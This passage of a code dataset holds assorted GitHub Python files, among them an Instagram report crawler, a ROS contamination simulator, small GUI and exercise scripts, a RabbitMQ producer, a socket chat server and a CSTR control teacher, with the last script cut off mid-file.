'soojunglim_',\n            'pinkgabong',\n            'lalisa_blackpinks',\n            'bts.igs',\n            'smitruti1010',\n            'soribaby',\n            'yoou.ch',\n            'laneige_kr',\n            'my.o_',\n            'dasolmom_',\n            'queenchoa_',\n            'originals_kr',\n            'krunk_official',\n            'iluvyub',\n            'phh1013',\n            'vminkook_tv',\n            'sonhojun_officia',\n            'hashblanccoa',\n            'ohseunghee_official_',\n            'hyexok_',\n            'ue1124',\n            'lesleyhee',\n            'sanethebigboy',\n            'seungwoolee',\n        ]\n\n\n        \n        \n        while True:\n            report = Reportv1.objects.order_by('?').first()\n            username = None\n            try:\n                username = report.userinfo.username\n            except:\n                continue\n\n            if username == None:\n                continue\n\n            try:\n                if IGUserInfo.objects.filter(username=username).exists():\n                    continue\n\n\n                print(f'{username} - Start')\n                res = requests.get(f'https://feat.report/crawl_instagram_save?request_type=user&parameter={username}')\n                time.sleep(5)\n                make_status_ig_user(username)\n                ig_userinfo = IGUserInfo.objects.get(username=username)\n                rank_ig_user(ig_userinfo.pk)\n                classifier_user(username)\n\n            except:\n                print(\"ERROR ------- \", username)","repo_name":"jypark7777/engine_v2report","sub_path":"report/management/commands/test_make.py","file_name":"test_make.py","file_ext":"py","file_size_in_byte":28498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9898731941","text":"#!/usr/bin/env python\n\nimport numpy as np\nimport sys\nimport re\nfrom math import cos, sin, acos, sqrt, ceil\n\nimport yaml\n\nimport rospy\nimport tf\nimport geometry_msgs.msg\nfrom std_msgs.msg import *\nfrom nav_msgs.msg import OccupancyGrid, MapMetaData\nfrom visualization_msgs.msg import Marker, MarkerArray\n\nfrom contamination_grid import Contamination\n\n#This class converts ellipse data into an OccupancyGrid message\n\nclass Contamination2(Contamination):\n    def __init__(self):\n        Contamination.__init__(self)\n        self.contam_level=[]\n        self.layout = MultiArrayLayout([MultiArrayDimension(label=\"contam\", stride=1)], 0)\n\n    def _check_contam(self, ellipse_array):\n        #check to see if they have become contaminated\n        #print self.contam_level\n        while len(self.contam_level) < len(ellipse_array.markers):\n            self.contam_level.append(-1)\n        for ellipse in ellipse_array.markers:\n            (center, a, b, theta)=self._get_ellipse_data(ellipse) #convert marker to points\n            for k, v in self.contam.iteritems():\n                distance = self._e_dist(v, center, a, b, theta)\n                # if person is in area increase relative contamination\n                #print ellipse.id, v, center\n                if distance < 1 and self.contam_level[ellipse.id]<self.ogrid.data[k]:\n                    self.contam_level[ellipse.id] = self.ogrid.data[k]*self.infectivity\n                    #print ellipse.id, self.contam_level[ellipse.id]\n                    self.ogrid.data[k] = int(self.ogrid.data[k]*(1-0.5*self.infectivity))\n            #if person is contaminated after that check, amend contamination levels in points\n            if self.contam_level[ellipse.id] > -1:\n                #contamination levels decrease as person distributes sickness around\n                #self.contam_level[ellipse.id] = self.contam_level[ellipse.id]*self.rate\n                #outline square that fits ellipse and then find points within ellipse\n                for x in np.arange(center[0]-a, center[0]+a, self.step):\n                    for y in np.arange(center[1]-a, center[1]+a, self.step):\n                        distance = self._e_dist((x, y), center, a, b, theta)\n                        index = self._xy_to_cell((x, y))\n                        #if area within ellipse, transfer some disease\n                        if distance < 1:\n                            self.ogrid.data[index]+=int(ceil(self.contam_level[ellipse.id]*self.transfer))\n                            if self.ogrid.data[index] > 100:\n                                self.ogrid.data[index] = 100\n                            if index not in self.contam:\n                                self.contam[index]=(x, y)\n                self.contam_level[ellipse.id] *= 1-self.transfer\n        self.ogrid.header=Header(stamp=rospy.Time.now(),frame_id = \"map\")\n        self.publisher.publish(self.ogrid)\n\n        #publish contamination to show correct colors\n        self.layout.dim[0].size = len(self.contam_level)\n        self.contam_pub.publish(Float32MultiArray(self.layout, self.contam_level))\n\n    def reset(self, run):\n        Contamination.reset(self, run)\n        self.contam_level=[]\n\n    #initialize node\n    def setup(self):\n        rospy.init_node('contamination2', anonymous=True)\n        metadata = rospy.wait_for_message(\"map_metadata\", MapMetaData, 120)\n        self._set_map_metadata(metadata)\n        self.publisher=rospy.Publisher(\"contamination_grid\", OccupancyGrid, queue_size=10, latch=True)\n        self.contam_pub=rospy.Publisher(\"contam_array\", Float32MultiArray, queue_size=10)\n        rospy.Subscriber(\"tracker_array\", MarkerArray, self._check_contam)\n        rospy.Subscriber(\"cleaner_bot\", Marker, self._clean_contam)\n        rospy.Subscriber(\"update_filter_cmd\", Bool, self.reset)\n        self.listener = tf.TransformListener()\n        rate = rospy.Rate(10.0)\n        self.reset(True)\n        rospy.spin()\n\nif __name__ == '__main__':\n    node = Contamination2()\n    try:\n        node.setup()\n    except rospy.ROSInterruptException:\n        pass","repo_name":"tiffanyformosa/disease-tracker","sub_path":"scripts/contamination_grid_multi.py","file_name":"contamination_grid_multi.py","file_ext":"py","file_size_in_byte":4072,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"28733436941","text":"from tkinter import *\nfrom tkinter import ttk\nimport csv\n\n\ndef on_click():\n    value = ent_cat.get()\n    d_col = value\n\n    f = open(\"slambook.csv\")\n    reader = csv.reader(f)\n\n    headers = None\n    results = []\n    for row in reader:\n        if not headers:\n            headers = []\n            for i, col in enumerate(row):\n                if col in d_col:\n                    headers.append(i)\n\n        else:\n            print(\"\\n\")\n            results.append(tuple([row[i] for i in headers]))\n\n    text.insert(INSERT, results)\n\n\nroot = Tk()\nroot.geometry(\"1500x1200\")\nroot.configure(background=\"blue\")\n\n# labels\nLabel(root, text=\"Enter Category :\", font=(\"Arial Bold\", 28), bg='black', fg='white').place(x=300, y=130)\nLabel(root, text=\"(in caps)\", font=(\"Arial italic\", 15),bg=\"blue\").place(x=500, y=180)\nLabel(root, text=\"Output : \", font=(\"Arial Bold\", 28), bg='black', fg='white').place(x=300, y=250)\n\n# entry box\nent_cat = ttk.Entry(root, font=(\"helvetica\", 20), justify=CENTER)\nent_cat.pack(anchor=\"ne\", padx=300, pady=130)\n\n# buttons\nsearch = Button(root, text=\"Seacrh\", width=15, height=1, font=(\"Arial Bold\", 12),\n              bg='black', fg='white', command=on_click).place(x=550, y=500)\nback = Button(root, text=\"Back\", width=15, height=1, font=(\"Arial Bold\", 12), bg='black', fg='white',\n              command=root.destroy).place(x=750, y=500)\n\n# text box\ntext = Text(root, width=150, height=6)\ntext.pack(anchor=\"se\", padx=320, pady=20)\nroot.mainloop()\n","repo_name":"alaskSs/Slambook_GUI","sub_path":"spec_column_gui.py","file_name":"spec_column_gui.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6005911990","text":"# создать произвольный словарь.\n# добавить новый элемент с ключом типа str и значением типа int\n# добавить новый элемент с ключом типа кортеж(tuple) и значением типа список(list)\n# получить элемент по ключу\n# удалить элемент по ключу\n# получить полный список ключей словаря\ndict1 = {}\nlst = []\n\ndict1[\"key1\"] = \"value1\"\n# dict1 = dict([\n    # (1, 1),\n    # (2, 4),\n    # (3, 9),\n    # \"sa\",\n# ])\n# dict1 = dict([\n            #  (1, 2),\n            #  \"ke\",\n# ])\n\ndict1[(\"some\", \"tupl\")] = [\"some\", \"lst\"]\ndict1[1] = 2\ndict1[33] = \"abc\"\n\nprint(dict1)\nprint(dict1[\"key1\"])\ndel dict1[\"key1\"]\n\nfor key in dict1:\n    lst.append(key)\n\n\nprint(dict1)\nprint(lst)\n","repo_name":"FirstTi/Homeworks","sub_path":"Lesson2/Easy/dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72000180169","text":"import numpy as np\r\n\r\n# Use like\r\n#\twrite_ply(out_fn, out_points, out_colours)\r\n#\t\tout_fn = output file name (e.g. \"out.ply\")\r\n#\t\tout_points = 3D points\r\n#\t\tout_colours = colours of points\r\n# Resulting .ply file can be viewed with MeshLab ( http://meshlab.sourceforge.net/ )\r\nply_header = '''ply\r\nformat ascii 1.0\r\nelement vertex %(vert_num)d\r\nproperty float x\r\nproperty float y\r\nproperty float z\r\nproperty uchar red\r\nproperty uchar green\r\nproperty uchar blue\r\nend_header\r\n'''\r\ndef write_ply(fn, verts, colors):\r\n    verts = verts.reshape(-1, 3)\r\n    colors = colors.reshape(-1, 3)\r\n    verts = np.hstack([verts, colors])\r\n    with open(fn, 'wb') as f:\r\n        f.write((ply_header % dict(vert_num=len(verts))).encode('utf-8'))\r\n        np.savetxt(f, verts, fmt='%f %f %f %d %d %d ')\r\n    print('%s saved' % fn)\r\n","repo_name":"AtillaA/Stereo-Reconstruction","sub_path":"ply_writer.py","file_name":"ply_writer.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"10260787305","text":"\"\"\"\nThe maximum sum subarray problem consists in finding the maximum sum of\na contiguous subsequence in an array or list of integers:\n\nmax_sequence([-2, 1, -3, 4, -1, 2, 1, -5, 4])\n# should be 6: [4, -1, 2, 1]\n\nEasy case is when the list is made up of only positive numbers\nand the maximum sum is the sum of the whole array.\nIf the list is made up of only negative numbers, return 0 instead.\n\nEmpty list is considered to have zero greatest sum.\nNote that the empty list or array is also a valid sublist/subarray.\n\"\"\"\ndef max_sequence(arr):\n    # Assign current sum as 0\n    curr_sum = 0\n    # Assign most possible maximum sum as 0\n    max_sum = 0\n    # If the list is empty then max_sum == 0, use len(arr)\n    if len(arr) == 0:\n        max_sum = 0\n    else:\n        # for loop to run through each number in the array\n        for i in arr:\n            curr_sum += i\n            # if the number is negative, the current sum will be returned to 0\n            # so we can calculate the maximum easily\n            if curr_sum < 0:\n                curr_sum = 0\n            # define the maximum sum through each number    \n            elif max_sum < curr_sum:\n                max_sum = curr_sum\n    return max_sum\n","repo_name":"lynth29/codewars","sub_path":"5kyu/maximum_subarray_sum/python_sol.py","file_name":"python_sol.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71195634249","text":"\"\"\"\nPhilosopher Bot\n---------------\nCreated by Caio Madeira\nCo-worker: Rodrigo Carmo\n\ninstagram: @sudomadeira\nTwitter: @bot_philospher\nAvaliable on Discord too!\n\n\"\"\"\n# -*- coding: utf-8 -*-\nimport time\nimport tweepy\nfrom config import HASHTAG_CHOICE, POSTING_CHOICE\nfrom termcolor import colored\n\n\n\ndef hash_or_posting():\n    print(\"Bem-vindo!\\n\")\n    print(\"Philosopher BOT por Caio Madeira e Rodrigo Carmo\\n\")\n    print(colored(\"Para acessar o PhiloBot Manager digite [1]\\n\", \"green\"))\n    time.sleep(2)\n    print(\"Escolha qual script função rodar: HASHTAG OU POSTING\\n\")\n    question = input(\"Digite 'HASHTAG' para executar a Hashtag\\nDigite 'POSTING' para executar o Posting\\n\")\n\n    if question == HASHTAG_CHOICE.lower().upper():\n        try:\n            from Hashtag.hashtag import starting_hashtag\n            starting_hashtag()\n\n        except tweepy.error.TweepError as e:\n            print(e)\n            time.sleep(2)\n\n    elif question == POSTING_CHOICE.lower().upper():\n        try:\n            from Posting.posting import choose_account\n            choose_account()\n        except tweepy.error.TweepError as e:\n            print(e)\n            time.sleep(2)\n\n    elif question == '1':\n        try:\n            from philobot_manager import instructions\n            instructions()\n        except Exception as e:\n            print(e)\n            time.sleep(2)\n\n    else:\n        print(\"Comando não registrado.\\n\")\n        print(\"Deseja encerrar?\\n\")\n        question_2 = input(\"Digite [1] para NÃO \\nDigite [2] para SIM\\n\")\n        if question_2 == '1':\n            print(\"\\nRetornando ao inicio...\\n\")\n            return hash_or_posting()\n        elif question_2 == '2':\n            print(\"Finalizando...\")\n            quit()\n\n\nif __name__ == '__main__':\n    hash_or_posting()\n","repo_name":"rodrigoTcarmo/PhilosopherBOT","sub_path":"TWITTER/2.5.3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"34139424844","text":"\"\"\"Testing Regex by using the UK Postcode Format\n\nExample: SW1A 2AA\nOutcode: SW1A\nIncode: 2AA\n\nDefinitions:\n\nOutward Code\nThe outward code is the first half of a postcode (before the space). \nSome are non-geographic, i.e. does not divulge the location.\n\nDistinguishing features include:\n\n- 2-4 characters long\n- Always begins with a letter\n- May end with a number or letter\n\nExamples of outward codes include:\nL1\nW1A\nRH1\nRH10\nSE1P\n\n\nInward Code\nThe inward code is the second half of a postcode (before the space). \nThe inward code assists in the delivery of post within a postal district.\n\nIts distinguishing features are:\n\n- Exactly 3 characters long\n- Always begins with a number\n\nExamples of inward codes:\n0NY\n7GZ\n7HF\n8JQ\n\n\"\"\"\n\nimport re # importing regex module\n\n\n# Create a python program that implements a regex that complies with the rules provided above – \n# test it against the examples provided.\n# Examples:\n# M1 1AA\n# M60 1NW\n# CR2 6XH\n# DN55 1PT\n# W1A 1HQ\n# EC1A 1BB\n\ndef regexTest(txt):\n    x = re.findall(r\"^[A-Z]{1,2}[0-9R][0-9A-Z]? [0-9][ABD-HJLNP-UW-Z]{2}$\", txt)\n    if x:\n        print(\"Potscode is right\", txt)\n    else:\n        print(\"Postcode is wrong\", txt)\n\nregexTest('M1 1AA')\nregexTest('M60 1NW')\nregexTest('CR2 6XH')\nregexTest('DN55 1PT')\nregexTest('W1A 1HQ')\nregexTest('EC1A 1BB')\n\n\n\n","repo_name":"gicanon/regexPostcode","sub_path":"postcodeRegex.py","file_name":"postcodeRegex.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10175942014","text":"import math\nimport numpy as np \n\nfrom composabl_core.agent import Teacher\nfrom mpc_model import mpc\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nclass CSTRTeacher(Teacher):\n    def __init__(self):\n        self.obs_history = None\n        self.reward_history = []\n        self.error_history = []\n        self.last_reward = 0\n        self.count = 0\n        self.metrics = 'none' #standard, fast, none\n        \n        # create metrics db\n        try:\n            self.df = pd.read_pickle('./cstr/skill_group_drl_mpc/history.pkl')\n            if self.metrics == 'fast':\n                self.plot_metrics()\n        except:\n            self.df = pd.DataFrame()\n        \n\n    def transform_obs(self, obs, action):\n        return obs\n\n    def transform_action(self, transformed_obs, action):\n        if type(transformed_obs) == dict:\n            if 'observation' in list(transformed_obs.keys()):\n                transformed_obs = transformed_obs['observation'][0]\n                #Import MPC (self.T, self.Tc, self.Ca, self.Cref, self.Tref)\n                MPC_Tc = mpc(0, transformed_obs[3], transformed_obs[2], \n                                                        transformed_obs[0], transformed_obs[1] + action[0])\n                dTc_MPC = MPC_Tc[0][0] - transformed_obs[1]\n            else:\n                #Import MPC\n                MPC_Tc = mpc(0, transformed_obs['Cref'], transformed_obs['Ca'], \n                                                        transformed_obs['T'], transformed_obs['Tc'] + action[0])\n                dTc_MPC = MPC_Tc[0][0] - transformed_obs['Tc']\n        \n        else:\n            #Import MPC (self.T, self.Tc, self.Ca, self.Cref, self.Tref)\n            MPC_Tc = mpc(0, transformed_obs[3], transformed_obs[2], \n                                                    transformed_obs[0], transformed_obs[1] + action[0])\n            dTc_MPC = MPC_Tc[0][0] - transformed_obs[1]\n\n            \n        #limit MPC actions between -10 and 10 degrees Celsius\n        dTc_MPC = np.clip(dTc_MPC,-10,10)\n        action = dTc_MPC\n        \n        return action\n\n    def filtered_observation_space(self):\n        return ['T', 'Tc', 'Ca', 'Cref', 'Tref']\n\n    def compute_reward(self, transformed_obs, action, sim_reward):\n        if self.obs_history is None:\n            self.obs_history = [transformed_obs]\n            return 0\n        else:\n            self.obs_history.append(transformed_obs)\n\n        reward = math.e ** (-abs(transformed_obs['Cref'] - transformed_obs['Ca']))\n\n        error = (transformed_obs['Cref'] - transformed_obs['Ca'])**2\n        self.error_history.append(error)\n        rms = math.sqrt(np.mean(self.error_history))\n        self.last_reward = reward\n        self.count += 1\n\n        # history metrics\n        df_temp = pd.DataFrame(columns=['time','Ca','Cref','reward','rms'],data=[[self.count,transformed_obs['Ca'], transformed_obs['Cref'], reward, rms]])\n        self.df = pd.concat([self.df, df_temp])\n        self.df.to_pickle(\"./cstr/skill_group_drl_mpc/history.pkl\")  \n        return reward\n\n    def compute_action_mask(self, transformed_obs, action):\n        return None\n\n    def compute_success_criteria(self, transformed_obs, action):\n        if self.obs_history is None:\n            return False\n        else:\n            if self.metrics == 'standard':\n                try:\n                    self.plot_obs()\n                    self.plot_metrics()\n                except Exception as e:\n                    print('Error: ', e)\n\n            return len(self.obs_history) > 100\n\n    def compute_termination(self, transformed_obs, action):\n        return False\n    \n    def plot_metrics(self):\n        plt.figure(1,figsize=(7,5))\n        plt.clf()\n        plt.subplot(3,1,1)\n        plt.plot(self.reward_history, 'r.-')\n        plt.scatter(self.df.reset_index()['time'],self.df.reset_index()['reward'],s=0.5, alpha=0.2)\n        plt.ylabel('Reward')\n        plt.legend(['reward'],loc='best')\n        plt.title('Metrics')\n        \n        plt.subplot(3,1,2)\n        plt.plot(self.rms_history, 'r.-')\n        plt.scatter(self.df.reset_index()['time'],self.df.reset_index()['rms'],s=0.5, alpha=0.2)\n        plt.ylabel('RMS error')\n        plt.legend(['RMS'],loc='best')\n\n        plt.subplot(3,1,3)\n        plt.scatter(self.df.reset_index()['time'],self.df.reset_index()['Ca'],s=0.6, alpha=0.2)\n        plt.scatter(self.df.reset_index()['time'],self.df.reset_index()['Cref'],s=0.6, alpha=0.2)\n        plt.ylabel('Ca')\n        plt.legend(['Ca'],loc='best')\n        plt.xlabel('iteration')\n        \n        plt.draw()\n        plt.pause(0.001)\n\n    def plot_obs(self):\n        plt.figure(2,figsize=(7,5))\n        plt.clf()\n        plt.subplot(3,1,1)\n        plt.plot([ x[\"Tc\"] for x in self.obs_history],'k.-',lw=2)\n        plt.ylabel('Cooling Tc (K)')\n        plt.legend(['Jacket Temperature'],loc='best')\n        plt.title('CSTR Live Control')\n        \n\n        plt.subplot(3,1,2)\n        plt.plot([ x[\"Ca\"] for x in self.obs_history],'b.-',lw=3)\n        plt.plot([ x[\"Cref\"] for x in self.obs_history],'k--',lw=2,label=r'$C_{sp}$')\n        plt.ylabel('Ca (mol/L)')\n        plt.legend(['Reactor Concentration','Concentration Setpoint'],loc='best')\n\n        plt.subplot(3,1,3)\n        plt.plot([ x[\"Tref\"] for x in self.obs_history],'k--',lw=2,label=r'$T_{sp}$')\n        plt.plot([ x[\"T\"] for x in self.obs_history],'b.-',lw=3,label=r'$T_{meas}$')\n        plt.ylabel('T (K)')\n        plt.xlabel('Time (min)')\n        plt.legend(['Temperature Setpoint','Reactor Temperature'],loc='best')\n        \n        plt.draw()\n        plt.pause(0.001)\n","repo_name":"Composabl/examples.composabl.io","sub_path":"agents/cstr/skill_group_drl_mpc/teacher.py","file_name":"teacher.py","file_ext":"py","file_size_in_byte":5592,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"34754714019","text":"from typing import NamedTuple, List, Dict, Tuple\nimport csv\nimport os\n\n\nclass Coordinate(NamedTuple):\n    point_name: str\n    x: float\n    y: float\n\n\nclass CoordinatesFile:\n    def __init__(self, path: str, name_column: int, x_wgs84_column: int,\n                 y_wgs84_column: int, skip_rows: int):\n        if not os.path.exists(path):\n            raise OSError\n\n        self.__path = path\n        self.name_column = name_column\n        self.x_wgs84_column = x_wgs84_column\n        self.y_wgs84_column = y_wgs84_column\n        self.skip_rows = skip_rows\n\n    @property\n    def path(self) -> str:\n        return self.__path\n\n    @property\n    def coordinates(self) -> List[Coordinate]:\n        coords_list = []\n        with open(self.path) as file_ctx:\n            reader = csv.reader(file_ctx)\n            for _ in range(self.skip_rows):\n                next(reader)\n\n            for row in reader:\n                if not len(row):\n                    continue\n                name = row[self.name_column]\n                x_wgs84 = float(row[self.x_wgs84_column])\n                y_wgs84 = float(row[self.y_wgs84_column])\n                coords_list.append(Coordinate(name, x_wgs84, y_wgs84))\n        return coords_list\n\n    @property\n    def coordinates_as_dict(self) -> Dict[str, Tuple[float, float]]:\n        dict_coords = {}\n        for coord in self.coordinates:\n            dict_coords[coord.point_name] = (coord.x, coord.y)\n        return dict_coords\n\n","repo_name":"MikkoArtik/FileSorter","sub_path":"coordinates_file.py","file_name":"coordinates_file.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9005291487","text":"class Star_Cinema:\r\n    hall_list = []\r\n\r\n    def entry_hall(self, obj):\r\n        self.hall_list.append(obj)\r\n\r\n\r\nclass Hall:\r\n    def __init__(self):\r\n        self.show_list = []\r\n        self.seat_map = {}\r\n\r\n    def entry_show(self, movie_name, id, time):\r\n        show_info = (id, movie_name, time)\r\n\r\n        self.show_list.append(show_info)\r\n\r\n        rows = 10\r\n        cols = 10\r\n        seat_map = [[False for _ in range(cols)] for _ in range(rows)]\r\n\r\n        self.seat_map[id] = seat_map\r\n\r\n    def book_seats(self, customer_name, phone_number, id, seats):\r\n        show = None\r\n        for s in self.show_list:\r\n            if s[1] == id:\r\n                show = s\r\n            break\r\n\r\n        if not show:\r\n            print(f\"Show with ID {id} not found\")\r\n            return False\r\n\r\n        seat_map = self.seat_map.get(id)\r\n\r\n        for seat in seats:\r\n            row, col = seat\r\n            if row < 0 or row >= len(seat_map) or col < 0 or col >= len(seat_map[0]):\r\n                print(f\"Invalid seat coordinates: ({row}, {col})\")\r\n                return False\r\n            if seat_map[row][col]:\r\n                print(f\"Seat ({row}, {col}) is already booked\")\r\n                return False\r\n\r\n        for seat in seats:\r\n            row, col = seat\r\n            seat_map[row][col] = True\r\n\r\n        print(\r\n            f\"Seats {seats} booked for {customer_name} ({phone_number}) for show {id} ({show[1]} at {show[2]})\")\r\n        return True\r\n\r\n    def view_show_list(self):\r\n        print(\"___________________________________________________________________________________\")\r\n        for show in self.show_list:\r\n            print(f\"{show[1]}\\t\\t{show[0]}\\t\\t{show[2]}\")\r\n        print(\"___________________________________________________________________________________\")\r\n\r\n    def view_available_seats(self, show_id):\r\n        seat_map = self.seat_map.get(show_id)\r\n\r\n        if not seat_map:\r\n            print(f\"SHOW WITH ID {show_id} IS NOT FOUND\")\r\n        return False\r\n\r\n        rows = len(seat_map)\r\n        cols = len(seat_map[0])\r\n        print(f\"Available seats for show {show_id}:\")\r\n        for i in range(rows):\r\n            for j in range(cols):\r\n                if not seat_map[i][j]:\r\n                    print(f\"({i}, {j})\")\r\n\r\n    def start_system(self):\r\n        while True:\r\n            print(\"1. VIEW ALL SHOWS TODAY\")\r\n            print(\"2. VIEW AVAILABLE SEATS\")\r\n            print(\"3. BOOK SEAT\")\r\n            print(\"4. EXIT\")\r\n\r\n            choice = input(\"ENTER YOUR CHOICE: \")\r\n\r\n            if choice == \"1\":\r\n                self.view_show_list()\r\n\r\n            elif choice == \"2\":\r\n                id = input(\"ENTER THE SHOW ID: \")\r\n                self.view_available_seats(id)\r\n\r\n            elif choice == \"3\":\r\n                show_id = input(\"ENTER SHOW ID: \")\r\n                customer_name = input(\"Enter your name: \")\r\n                phone_number = input(\"Enter your phone number: \")\r\n                seat_list_str = input(\r\n                    \"Enter the seat coordinates (e.g. '0,0 0,1 0,2'): \")\r\n                seat_list = [tuple(map(int, seat.split(\",\")))\r\n                             for seat in seat_list_str.split()]\r\n                self.book_seats(customer_name, phone_number,\r\n                                show_id, seat_list)\r\n\r\n            elif choice == \"4\":\r\n                break\r\n            else:\r\n                print(\"Invalid choice, please try again\")\r\n\r\n\r\nhall = Hall()\r\n\r\nhall.entry_show(\"Black Panther\", \"eb123\", \"7:00 PM\")\r\nhall.entry_show(\"Wonder Woman\", \"be234\", \"8:00 PM\")\r\n\r\nhall.start_system()\r\n","repo_name":"arnobghagra/lab-assignment","sub_path":"lab1.py","file_name":"lab1.py","file_ext":"py","file_size_in_byte":3598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30758931437","text":"#-*- coding: UTF-8 -*-\nimport json\nimport pika\n\n\ncredentials = pika.PlainCredentials('guest','guest') # rabbitmq user pw\n# 创建链接\nconnection = pika.BlockingConnection(pika.ConnectionParameters(\n    'ip',端口,'/',credentials))\n\n# 创建频道\nchannel = connection.channel()\n\n# 创建模糊匹配类型的exchange\nchannel.exchange_declare(exchange='server2',\n                         exchange_type='fanout')\n\n\nwith open('test.yaml','r') as f:\n    data = f.read()\n    data = json.dumps(data, indent=2, ensure_ascii=False)\n    # 从文件读出数据 转化为json  也可以不转化\nchannel.basic_publish(exchange='server2',\n                      routing_key='',\n                      body=data)\nprint('---')\nchannel.close()\nconnection.close()\n","repo_name":"starrye/rabbitmq","sub_path":"producer_fanout.py","file_name":"producer_fanout.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18665409759","text":"import socket\r\n\r\ndef get_host_ip():\r\n    try:\r\n        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n        s.connect(('8.8.8.8', 80))\r\n        ip = s.getsockname()[0]\r\n    finally:\r\n        s.close()\r\n    return ip\r\n\r\n# 创建套接字\r\nserversock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n# host = socket.gethostname()\r\n# print('serverhost:',host)\r\nhost = get_host_ip()\r\nprint('ip:',host)\r\nport = 9999\r\n\r\n# 绑定地址及监听\r\nADDR = (host, port)\r\nserversock.bind(ADDR)\r\nserversock.listen()\r\n\r\n# 等待连接\r\nprint('等待客户端连接......')\r\nsock,ip = serversock.accept()\r\nprint('已连接')\r\n\r\nwhile True:\r\n\taccept_message = sock.recv(1024).decode()\r\n\tprint('client message:',accept_message)\r\n\tif accept_message.lower() == 'exit':\r\n\t\tbreak\r\n\tsend_message = input('>>>:')\r\n\tsock.send(send_message.encode())\r\n\tif send_message.lower() == 'exit':\r\n\t\tbreak\r\n\r\nsock.close()\r\nserversock.close()","repo_name":"Augustineqq0654/pythonScripts","sub_path":"01-Python网络编程/tcp_serversocket.py","file_name":"tcp_serversocket.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27325996564","text":"import numpy as np\nimport os\nimport cv2\nimport matplotlib.pyplot as plt\nfrom oa_dev import *\nfrom oa_filter import *\nfrom oa_ls import *\n\n\n\ndef get_scan_paths(dataset_dir):\n    scan_dirs = [os.path.join(dataset_dir, scan_dir) for scan_dir in os.listdir(dataset_dir)]\n    scan_dirs.sort()\n    return scan_dirs\n\n\ndef check_rgb_overlap_corr(scan, corr1):\n    corr = corr1.copy()\n    corr = cv2.blur(corr, (3,3))\n    thresh = 10\n    corr_r = corr[:,:,0]>thresh\n    corr_g = corr[:,:,1]>thresh\n    corr_b = corr[:,:,2]>thresh\n    r = np.where(corr_r, scan[:,:,0], 0)\n    g = np.where(corr_g, scan[:,:,1], 0)\n    b = np.where(corr_b, scan[:,:,2], 0)\n\n\n    combined = np.dstack((r,g,b))\n\n    return combined\n\n\ndef main(input_dir):\n    scan_dirs = get_scan_paths(input_dir)\n\n    for scan_dir in scan_dirs:\n        print(scan_dir)\n        corr_path = os.path.join(scan_dir, \"corr.png\")\n        proj_path = os.path.join(scan_dir, \"proj.png\")\n        img_l_path = os.path.join(scan_dir, \"img_l.png\")\n        gt_mask_path = os.path.join(scan_dir, \"gt_proj_mask.png\")\n\n        corr = cv2.cvtColor(cv2.imread(corr_path), cv2.COLOR_BGR2RGB)\n        proj = cv2.cvtColor(cv2.imread(proj_path), cv2.COLOR_BGR2RGB)\n        img_l = cv2.cvtColor(cv2.imread(img_l_path), cv2.COLOR_BGR2RGB)\n        gt_mask = cv2.imread(gt_mask_path, 0)\n\n        combined = check_rgb_overlap_corr(img_l, corr)\n        combined_proj = check_rgb_overlap_corr(proj, corr)\n\n        print(np.mean(combined[combined>0]))\n\n\n        comb_stereo = np.zeros_like(combined)\n\n        for c in range(3):\n            comb_stereo = comb_stereo.astype(np.float32)\n            comb_stereo[:,:,c] = np.power(combined[:,:,c]/255.0, 1)*np.power(combined_proj[:,:,c]/255.0,1)\n            print(np.max(comb_stereo))\n            #comb_stereo = np.clip(comb_stereo, 0, 255)\n            #comb_stereo = comb_stereo.astype(np.uint8)\n\n            print(np.max(comb_stereo))\n\n        comb_stereo = comb_stereo/np.max(comb_stereo)*254\n        a = 0.33\n        b = 0.33\n        c = 0.33\n        comb_stereo = a*comb_stereo[:,:,0]+b*comb_stereo[:,:,1]+c*comb_stereo[:,:,2]\n        comb_stereo = comb_stereo.astype(np.uint8)\n        \n        #clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(32,32))\n        #comb_stereo = clahe.apply(comb_stereo)\n        comb_stereo = np.where(comb_stereo>5, comb_stereo, 0)\n\n\n\n        #stack = np.dstack(((comb_stereo>10)*255, (gt_mask>0)*255, np.zeros_like(gt_mask)))\n\n\n        \"\"\"\n        fig,ax = plt.subplots(1,5)\n        ax[0].imshow(corr)\n        ax[1].imshow(combined)\n        ax[2].imshow(combined_proj)\n        ax[3].imshow(comb_stereo)\n\n        plt.show()\n        \"\"\"\n\n        \n\n        #cv2.imwrite(os.path.join(scan_dir, \"stereo-filt.png\"),comb_stereo)\n        cv2.imwrite(os.path.join(scan_dir, \"filt_rgb.png\"),combined)\n        cv2.imwrite(os.path.join(scan_dir, \"filt_proj_rgb.png\"),combined_proj)\n\n        \n\n\n\nif __name__ == 